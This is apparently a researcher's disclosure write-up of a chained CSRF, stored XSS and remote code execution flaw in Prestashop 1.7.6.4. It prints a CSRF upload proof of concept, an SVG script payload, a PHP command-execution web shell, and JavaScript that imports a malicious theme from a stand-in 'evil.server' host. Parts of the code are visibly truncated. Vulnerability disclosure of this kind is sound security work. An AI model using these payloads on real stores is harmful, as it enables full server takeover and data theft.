Critical CSRF to RCE bug chain in Prestashop v1.7.6.4 and below

This article is about a CSRF, XSS bug chain that is then escalated to Remote Code Execution as an unauthenticated attacker, in Prestashop (unpatched as of 18/04/2020). When the admin opens a link, the chain gets executed and the server gets pwned. If you are interested in reading the full advisory, you can check it out here. If you want the single-click RCE exploit I wrote for this bug chain, you can find it here.

When I started auditing Prestashop, I noticed that Prestashop has a file manager, which allows the following files to be uploaded.

jpg, jpeg, png, gif, bmp, tiff, svg, pdf, mov, mpeg, mp4, avi, mpg, wma, flv, webm

So, they allowed SVG file upload and SVG files can contain Javascript code. I uploaded the following SVG file to test if the Javascript code can be executed. The file gets uploaded to http://target.server/img/cms/evil.svg

<svg xmlns="" onload="alert(1)" />

And just as expected, the Javascript gets executed and alert box popped. But only the users with ‘Products Edit’ permission can upload the SVG file. Meaning, an attacker should have ‘Products Edit’ permission to exploit this vulnerability.

But then I noticed that unlike other requests, the file upload request did not have a CSRF token in it. So, this request can be forged. I created a CSRF PoC with XHR to test this.

  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <script>history.pushState('', '', '/')</script>
      function submitRequest()
        var xhr = new XMLHttpRequest();"POST", "http:\/\/\/admin501to49xz\/filemanager\/upload.php", true);
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------6487332036660663652470259777");
        xhr.withCredentials = true;
        var body = "-----------------------------6487332036660663652470259777\r\n" + 
          "Content-Disposition: form-data; name=\"path\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------6487332036660663652470259777\r\n" + 
          "Content-Disposition: form-data; name=\"path_thumb\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------6487332036660663652470259777\r\n" + 
          "Content-Disposition: form-data; name=\"file\"; filename=\"poc.svg\"\r\n" + 
          "Content-Type: image/svg+xml\r\n" + 
          "\r\n" + 
          "\x3csvg xmlns=\"\" /\x3e\r\n" + 
          "\r\n" + 
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));

When a user with ‘Products Edit’ permission visits this webpage, a request to upload an SVG file gets automatically submitted in the background and poc.svg gets uploaded. So, now we have an unauthenticated stored XSS chain. The next step is to escalate it to RCE.

Most CMS allows an admin (or SuperUser) to upload PHP files to the server. But Prestashop did not allow even the admin to upload PHP files. So, I had to find a way around this. I noticed that there was an ‘Import Theme’ functionality, where the admin can upload a ZIP file from the computer or using a link. The plan is to include a PHP file in the ZIP and upload it. I initially thought that Prestashop will remove the PHP file, so I would have to find where it extracts the tmp files and try to continuously send requests, to get the code executed before it deletes the file.

But with no such hassle, Prestashop did not delete the PHP file. The ZIP file gets extracted and the PHP file is also placed in the theme directory.


All I had to do was, download a Prestashop theme ZIP file. I found one in Prestashop’s GitHub ( I created a PHP file with a simple backdoor and added it to the zip.

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

To exploit this using the XSS, we add the following Javascript code in the SVG file. The code fetches the CSRF token for theme import, and imports the modified ZIP file to the server.

<script xlink:href=""></script>


$.ajaxSetup({async: false});

var target = 'http://localhost'; //change this
var admin_url = '/admin123ab45cd'; //change this
var theme_url = 'http://evil.server/'; //change this
var import_url = '';
var import_token = '';

$.get(target+admin_url+'/index.php/improve/design/themes/import', function( my_var0 ) {

    var tmp = my_var0.match(/_token(.{44})/g);
    tmp = tmp.toString().split("=");
    tmp = tmp[1];
    import_url = target+admin_url+'/improve/design/themes/import?_token='+tmp;

}, 'html');

$.get(import_url, function( my_var1 ) {

    var tmp = my_var1.match(/import_theme__token(.{101})/g);
    tmp = tmp.toString().split(' ');
    tmp = tmp[3].toString().split('=\"');
    import_token = tmp[1];

}, 'html');

var themeUploadData = new FormData();
themeUploadData.append('import_theme[import_from_web]', theme_url);
themeUploadData.append('import_theme[_token]', import_token);

    url: import_url,
    data: themeUploadData,
    cache: false,
    contentType: false,
    processData: false,
    method: 'POST'


Now, as an unauthenticated attacker, we start chaining it all together by exploiting the file upload CSRF to upload the SVG file with Javascript payload in it. Then an iframe is loaded on the page, which loads the uploaded SVG file. The SVG file now executes the Javascript payload and the theme gets imported into the server.

When this chain completes, backdoor.php gets uploaded to the server.


Proof of Concept

Single click RCE Proof of Concept

Related links